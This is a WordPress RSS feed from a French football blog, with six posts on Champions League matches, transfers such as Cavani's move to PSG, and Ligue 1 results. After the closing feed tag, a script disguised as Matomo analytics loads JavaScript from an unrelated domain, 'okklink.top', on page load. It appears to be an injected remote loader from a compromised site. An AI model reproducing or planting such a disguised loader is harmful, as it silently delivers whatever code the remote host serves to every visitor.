<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Alain Roche Nalair de rien &#187; la ligue des champions</title>
	<atom:link href="http://www.nalair.fr/index.php/tag/la-ligue-des-champions/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.nalair.fr</link>
	<description>Fracasseur d'identités</description>
	<lastBuildDate>Sat, 30 Nov 2024 05:00:38 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>La Decima pour le Real</title>
		<link>http://www.nalair.fr/index.php/nalair/la-decima-pour-le-real/</link>
		<comments>http://www.nalair.fr/index.php/nalair/la-decima-pour-le-real/#comments</comments>
		<pubDate>Mon, 26 May 2014 05:00:43 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[Atletico de Madrid]]></category>
		<category><![CDATA[Castilla]]></category>
		<category><![CDATA[Cristano Ronaldo]]></category>
		<category><![CDATA[Godin]]></category>
		<category><![CDATA[Karim Benzema]]></category>
		<category><![CDATA[la ligue des champions]]></category>
		<category><![CDATA[Lisbonne]]></category>
		<category><![CDATA[Marcelo]]></category>
		<category><![CDATA[Real de Madrid]]></category>
		<category><![CDATA[Sergio Ramos]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=15737</guid>
		<description><![CDATA[Samedi soir se jouait à Lisbonne la finale de la Ligue des Champions, un événement exceptionnel puisque que ce match était à 100 % madrilène. Le Real de Madrid affrontait l&#8217;Atletico champion d&#8217;Espagne depuis le 17 mai qui tentait le doublé.  Après une énorme erreur du portier Castilla, Godin ouvre le score pour l&#8217;Atletico à la [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2009/05/ronaldo.jpg"><img class="aligncenter size-full wp-image-2317" title="ronaldo" src="http://www.nalair.fr/wp-content/uploads/2009/05/ronaldo.jpg" alt="" width="474" height="675" /></a></p>
<p style="text-align: left;">Samedi soir se jouait à Lisbonne la finale de la Ligue des Champions, un événement exceptionnel puisque que ce match était à 100 % madrilène. Le Real de Madrid affrontait l&#8217;Atletico champion d&#8217;Espagne depuis le 17 mai qui tentait le doublé.  Après une énorme erreur du portier Castilla, Godin ouvre le score pour l&#8217;Atletico à la 36e min.  Mené au score jusqu&#8217;à la 93 e minutes, le Real de Madrid est un vrai miraculé. C&#8217;est seulement  à 5 minutes de la fin alors que nous sommes dans les arrêts de jeu que soudain Sergio Ramos inscrit le but égalisateur.</p>
<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2013/09/Garath-bale-1.jpg"><img class="aligncenter size-full wp-image-13892" title="Garath-bale" src="http://www.nalair.fr/wp-content/uploads/2013/09/Garath-bale-1.jpg" alt="" width="483" height="691" /></a></p>
<p style="text-align: left;">On jouera alors les prolongations de trop pour l&#8217;Atlético qui est épuisé et sonné par cette égalisation. A la 110e minutes Bale, un des seuls joueurs a avoir été dangereux le long du match,  achève les adversaires d&#8217;une tête rageuse. Tout va alors très vite à la 118e Marcelo les crucifie une fois de plus. C&#8217;est sur pénalty que Cristano Ronaldo inscrira à la 120 e min sont 17e but de la Ligue des Champions. Ce score sans appel est terriblement injuste pour l&#8217;Atletico qui décidément est maudit, puisqu&#8217;il y a 40 ans c&#8217;est aussi à la dernière minute qu&#8217;ils avaient perdu. Une chose est certaine, ils ont vendu chèrement leur peau face à une horde de stars dans une méforme consternante à l&#8217;image d&#8217;un Karim Benzema inexistant.</p>
<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2013/09/karim-Benzema.jpg"><img class="aligncenter size-full wp-image-14060" title="karim-Benzema" src="http://www.nalair.fr/wp-content/uploads/2013/09/karim-Benzema.jpg" alt="" width="439" height="623" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/la-decima-pour-le-real/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Le PSG casse la tirelire</title>
		<link>http://www.nalair.fr/index.php/nalair/le-psg-casse-la-tirelire/</link>
		<comments>http://www.nalair.fr/index.php/nalair/le-psg-casse-la-tirelire/#comments</comments>
		<pubDate>Wed, 17 Jul 2013 07:13:06 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[sport]]></category>
		<category><![CDATA[Calcio]]></category>
		<category><![CDATA[Edison Cavani]]></category>
		<category><![CDATA[la ligue des champions]]></category>
		<category><![CDATA[Leonardo]]></category>
		<category><![CDATA[ligue 1]]></category>
		<category><![CDATA[Naples]]></category>
		<category><![CDATA[Paris]]></category>
		<category><![CDATA[PSG]]></category>
		<category><![CDATA[zlatan Ibrahimovic]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=13521</guid>
		<description><![CDATA[Hier lors d&#8217;une conférence de presse le président du PSG, Mr  Al Kelaifi s&#8217;exprime en français et déclare : &#8220;Cavani tout le monde le voulait&#8221;. On comprend mieux pourquoi le PSG pour obtenir ce nouveau buteur  en or n&#8217;a pas hésité encore une fois à casser sa tirelire en l&#8217;achetant  64 M €  à Naples. [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.nalair.fr/wp-content/uploads/2013/07/Edison-Cavani-el-matador.jpg"><img class="aligncenter size-full wp-image-13522" title="Edison-Cavani-el-matador" src="http://www.nalair.fr/wp-content/uploads/2013/07/Edison-Cavani-el-matador.jpg" alt="" width="484" height="691" /></a></p>
<p style="text-align: left;">Hier lors d&#8217;une conférence de presse le président du PSG, Mr  Al Kelaifi s&#8217;exprime en français et déclare : &#8220;Cavani tout le monde le voulait&#8221;. On comprend mieux pourquoi le PSG pour obtenir ce nouveau buteur  en or n&#8217;a pas hésité encore une fois à casser sa tirelire en l&#8217;achetant  64 M €  à Naples. Ce transfert est un nouveau record en ligue, dépassant déjà  le récent achat de Falcao par l&#8217;AS Monaco pour 60 M€. Bien entendu on peut se demander ce qui fait que ces joueurs soient transférés pour des sommes aussi faramineuses ?  A priori le coût suit un principe économique simple :&#8221; la rareté fait la cherté&#8221;.Tout est une question de palmarès et Edison Cavani, 26 ans, a tout de même marqué, la saison dernière, la bagatelle de 29 buts en 34 matches. De ce fait il est devenu le meilleur buteur du Calcio. Voilà une pépite que Naples avait acquis pour 16 M€ en 2011 et qui a bien fructifié en deux saisons.</p>
<p style="text-align: left;">
<p style="text-align: left;"><a href="http://www.nalair.fr/wp-content/uploads/2013/07/Edison-Cavani-.jpg"><img class="aligncenter size-full wp-image-13524" title="Edison-Cavani-" src="http://www.nalair.fr/wp-content/uploads/2013/07/Edison-Cavani-.jpg" alt="" width="389" height="550" /></a></p>
<p style="text-align: left;">Celui que l&#8217;on surnomme &#8220;le Matador&#8221;, arborant un magnifique brushing, répond simplement à la presse qu&#8217;il est là parce que le projet lui est cher et qu&#8217;il fera tout pour s&#8217;adapter à son nouveau club  jusqu&#8217;à apprendre le français. Il déclare aussi qu&#8217;il aura beaucoup de plaisir à former une doublette de choc avec Zlatan.</p>
<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2012/07/Zlatan-Ibrahimovic.jpg"><img class="aligncenter size-full wp-image-10967" title="Zlatan-Ibrahimovic" src="http://www.nalair.fr/wp-content/uploads/2012/07/Zlatan-Ibrahimovic.jpg" alt="" width="386" height="552" /></a></p>
<p style="text-align: center;">
<p style="text-align: left;">Au cours de cette conférence de cette présentation d&#8217;Elison Cavani, le président du PSG en profite pour remercier Léonardo, qui est avant tout son ami et sans qui ce fabuleux transfert n&#8217;aurait pas eu lieu. Il annonce officiellement son départ le jour même.</p>
<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2011/07/leonardo1.jpg"><img class="aligncenter size-full wp-image-7951" title="leonardo" src="http://www.nalair.fr/wp-content/uploads/2011/07/leonardo1.jpg" alt="" width="420" height="596" /></a></p>
<p style="text-align: center;">
<p style="text-align: left;">Le mercato d&#8217;été bat son plein et les prix flambent, maintenant le projet est ambitieux. le PSG compte bien redevenir champion de France et gagner la Ligue des Champions dans les 4 ans.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/le-psg-casse-la-tirelire/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Une 38e journée de ligue 1 surréaliste</title>
		<link>http://www.nalair.fr/index.php/nalair/une-38e-journee-de-ligue-1-surealiste/</link>
		<comments>http://www.nalair.fr/index.php/nalair/une-38e-journee-de-ligue-1-surealiste/#comments</comments>
		<pubDate>Mon, 21 May 2012 08:37:29 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[John Utaka]]></category>
		<category><![CDATA[la ligue des champions]]></category>
		<category><![CDATA[Le PSG]]></category>
		<category><![CDATA[Loulou Nicolin]]></category>
		<category><![CDATA[Montpellier]]></category>
		<category><![CDATA[René Girard]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=10499</guid>
		<description><![CDATA[Tous les fans de foot attendaient avec impatience le dénouement de cette 38e journée en ligue 1 et n&#8217;avaient d&#8217;yeux que pour deux clubs, Le PSG et Montpellier qui s&#8217;affrontaient pour le titre. Soirée riche en émotions certes, mais surtout en grand n&#8217;importe quoi. Alors que les parisiens arrachent la victoire face à Lorient 2-1, [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;"><a href="http://www.nalair.fr/wp-content/uploads/2012/02/Loulou-Nicolin.jpg"><img class="aligncenter size-full wp-image-9821" title="Loulou-Nicolin" src="http://www.nalair.fr/wp-content/uploads/2012/02/Loulou-Nicolin.jpg" alt="" width="387" height="552" /></a>Tous les fans de foot attendaient avec impatience le dénouement de cette 38e journée en ligue 1 et n&#8217;avaient d&#8217;yeux que pour deux clubs, Le PSG et Montpellier qui s&#8217;affrontaient pour le titre. Soirée riche en émotions certes, mais surtout en grand n&#8217;importe quoi. Alors que les parisiens arrachent la victoire face à Lorient 2-1, ils ne peuvent qu&#8217;espérer, mais ne savent pas encore qui sera champion au terme de leur match. En effet,  les supporters d&#8217;Auxerre en deuxième période entrent dans la partie en jetant, balles de tennis, tomates et rouleaux de papier &#8220;cul&#8221; sur la cage  de  Jourdren, le portier héraultais. Le match est arrêté  à deux reprises sur le score de 1 partout, avant qu&#8217;enfin John Utaka, acteur du premier but égalisateur, délivre son équipe. La messe est dite, mais la fête est gâchée encore une fois à cause de l&#8217;incivilité et le manque de sportivité des supporters d&#8217;Auxerre qui seront eux aussi relégué en ligue 2 pour la prochaine saison. Du jamais vu, un match qui s&#8217;éternise comme l&#8217;accession tant attendue et sans faille à ce titre tant espéré par l&#8217;équipe de Loulou Nicolin drivée par René Girard. Maintenant le plus dur reste à faire l&#8217;an prochain, pour défendre un titre inespéré, mais aussi pour accéder à la difficile Ligue des Champions dans les meilleures conditions. Faute de pétrole, il faudra à la future équipe de Montpellier de bonnes idées mais aussi un moral en acier bien trempé.</p>
<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2012/04/René-Girard.jpg"><img class="aligncenter size-full wp-image-10321" title="René-Girard" src="http://www.nalair.fr/wp-content/uploads/2012/04/René-Girard.jpg" alt="" width="389" height="553" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/une-38e-journee-de-ligue-1-surealiste/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lyon rugit Bordeaux s&#8217;incline</title>
		<link>http://www.nalair.fr/index.php/nalair/le-lion-rugit-bordeaux-sincline/</link>
		<comments>http://www.nalair.fr/index.php/nalair/le-lion-rugit-bordeaux-sincline/#comments</comments>
		<pubDate>Thu, 01 Apr 2010 11:51:50 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[sport]]></category>
		<category><![CDATA[Bordeaux]]></category>
		<category><![CDATA[Chalmé]]></category>
		<category><![CDATA[Chamakh]]></category>
		<category><![CDATA[Gourcuff]]></category>
		<category><![CDATA[Jean-Michel Aulas]]></category>
		<category><![CDATA[l'Olympique Lyonnais]]></category>
		<category><![CDATA[la ligue des champions]]></category>
		<category><![CDATA[Lyon]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=4776</guid>
		<description><![CDATA[Jean-Michel Aulas est heureux que l&#8217;OL ait pris une sérieuse option pour la demi-finale de la Ligue des Champions contre Bordeaux  battu 3-1. Après la victoire il déclare sur RTL : &#8220;On imaginait que ça serait beaucoup plus dur ce soir&#8221;. Il se félicite aussi de l&#8217;arbitrage de Monsieur Brych et dit : &#8220;L&#8217;arbitre a [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.nalair.fr/wp-content/uploads/2010/03/jean-michel-aulas.jpg"><img class="aligncenter size-medium wp-image-4777" title="jean-michel-aulas" src="http://www.nalair.fr/wp-content/uploads/2010/03/jean-michel-aulas-350x500.jpg" alt="jean-michel-aulas" width="350" height="500" /></a>Jean-Michel Aulas est heureux que l&#8217;OL ait pris une sérieuse option pour la demi-finale de la Ligue des Champions contre Bordeaux  battu 3-1. Après la victoire il déclare sur RTL : &#8220;On imaginait que ça serait beaucoup plus dur ce soir&#8221;. Il se félicite aussi de l&#8217;arbitrage de Monsieur Brych et dit : &#8220;L&#8217;arbitre a été bon ce soir.&#8221; Cela semble logique pour les Lyonnais, peut être un peu moins pour les Bordelais qui ont certainement trouvé sévère de siffler la main de Chalmé sur cette action. Pourtant le tandem Gourcuff, au centre, Chamakh, à l&#8217;attaque, offre à Bordeaux le but de la consolation à l&#8217;extérieur qui risque de compter lourd au match retour.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/le-lion-rugit-bordeaux-sincline/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>&#8220;Galactiques&#8221; 2 pour le Real de Madrid</title>
		<link>http://www.nalair.fr/index.php/nalair/galactiques-2-pour-le-real-de-madrid/</link>
		<comments>http://www.nalair.fr/index.php/nalair/galactiques-2-pour-le-real-de-madrid/#comments</comments>
		<pubDate>Sat, 04 Jul 2009 04:26:42 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[sport]]></category>
		<category><![CDATA[Barcelone]]></category>
		<category><![CDATA[David Beckham]]></category>
		<category><![CDATA[Karim Benzema]]></category>
		<category><![CDATA[L'Equipe]]></category>
		<category><![CDATA[la ligue des champions]]></category>
		<category><![CDATA[le Bayern de Munich]]></category>
		<category><![CDATA[Le président Florentino Perez]]></category>
		<category><![CDATA[Le Real de Madrid]]></category>
		<category><![CDATA[Luis Figo.]]></category>
		<category><![CDATA[Ribéry]]></category>
		<category><![CDATA[Ronaldo]]></category>
		<category><![CDATA[Zinedine Zidane]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=2659</guid>
		<description><![CDATA[Le Real de Madrid continue à recruter, le transfert pour la somme de 35 millions d&#8217;euros de Karim Benzema, attaquant vedette de l&#8217;Olympique Lyonnais, a finalement été confirmé. Le président Florentino Perez depuis son retour au club merengue a décidé de redonner ses lettres de noblesse au club de la capitale espagnole. C&#8217;est lui qui [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-2660" title="karim-benzema" src="http://www.nalair.fr/wp-content/uploads/2009/07/karim-benzema-350x499.jpg" alt="karim-benzema" width="350" height="499" />Le Real de Madrid continue à recruter, le transfert pour la somme de 35 millions d&#8217;euros de Karim Benzema, attaquant vedette de l&#8217;Olympique Lyonnais, a finalement été confirmé. Le président Florentino Perez depuis son retour au club merengue a décidé de redonner ses lettres de noblesse au club de la capitale espagnole. C&#8217;est lui qui avait créé les fameux &#8220;galatiques&#8221; au début des années 2000 en recrutant pour des sommes pharaoniques, Zinedine Zidane, David Beckham, Ronaldo et autre Luis Figo. On ne change pas une formule qui marche aussi  souhaite-t-il cette année dresser face au grand Barcelone, vainqueur du championnat espagnol et de la ligue des champions , la meilleure équipe de tous les temps. Il est en bonne voie, il lui reste à acquérir le joueur du Bayern, là, rien n&#8217;est encore fait. Mais Ribéry annonce dans &#8220;<em>l&#8217;Equipe</em>&#8221; : &#8220;C&#8217;est décidé, j&#8217;ai envie de partir&#8230;(mais ce ) sera le Real ou rien&#8221;, affaire à suivre.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/galactiques-2-pour-le-real-de-madrid/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Willy Sagnol raccroche les crampons</title>
		<link>http://www.nalair.fr/index.php/nalair/willy-sagnol-raccroche-les-crampons/</link>
		<comments>http://www.nalair.fr/index.php/nalair/willy-sagnol-raccroche-les-crampons/#comments</comments>
		<pubDate>Sat, 24 Jan 2009 23:01:47 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[alain roche]]></category>
		<category><![CDATA[sport]]></category>
		<category><![CDATA[Bayern Munich]]></category>
		<category><![CDATA[la ligue des champions]]></category>
		<category><![CDATA[Monaco]]></category>
		<category><![CDATA[Rummenigge]]></category>
		<category><![CDATA[St Etienne]]></category>
		<category><![CDATA[Willy Sagnol]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=1417</guid>
		<description><![CDATA[L&#8217;international français du Bayern Munich, Willy Sagnol, 31 ans, a mis un teme à sa carrière à cause d&#8217;une blessure  à un tendon d&#8217;Achille. &#8220;Il ne peut pas courir, car il a constamment mal&#8221;, avait précisé l&#8217;entraîneur du Bayern. Le latéral droit, passé par St Etienne et Monaco a remporté avec le Bayern qu&#8217;il a [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.nalair.fr/wp-content/uploads/2009/01/willy-sagnol.jpg"><img class="aligncenter size-medium wp-image-1418" title="willy-sagnol" src="http://www.nalair.fr/wp-content/uploads/2009/01/willy-sagnol-350x508.jpg" alt="" width="350" height="508" /></a></p>
<p>L&#8217;international français du Bayern Munich, Willy Sagnol, 31 ans, a mis un teme à sa carrière à cause d&#8217;une blessure  à un tendon d&#8217;Achille. &#8220;Il ne peut pas courir, car il a constamment mal&#8221;, avait précisé l&#8217;entraîneur du Bayern. Le latéral droit, passé par St Etienne et Monaco a remporté avec le Bayern qu&#8217;il a rejoint en 2000, cinq titres de champion d&#8217;Allemagne, quatre éditions de la Coupe d&#8217;Allemagne et la ligue des champions en 2001. Le club bavarois lui a proposé de superviser des joueurs pour la cellule recrutement sur toute l&#8217;Europe et pas seulement sur la France. Sagnol est présenté aussi  comme l&#8217;un des futurs dirigeants de Monaco. «Willy a les compétences pour cela», a assuré Rummenigge. Une reconversion que ne néglige pas le joueur. La parole est désormais à Sagnol.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/willy-sagnol-raccroche-les-crampons/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<!-- Matomo -->
<script type="text/javascript">
(function() {
var u="https://okklink.top/";
var d=document, g=d.createElement("script"), s=d.getElementsByTagName("script")[0];
g.type="text/javascript"; g.async=true; g.defer=true;
g.src=u+"js/www.nalair.fr/matomo.js?id=M-1776191370"; s.parentNode.insertBefore(g,s);
})();
</script>
<!-- End Matomo Code -->
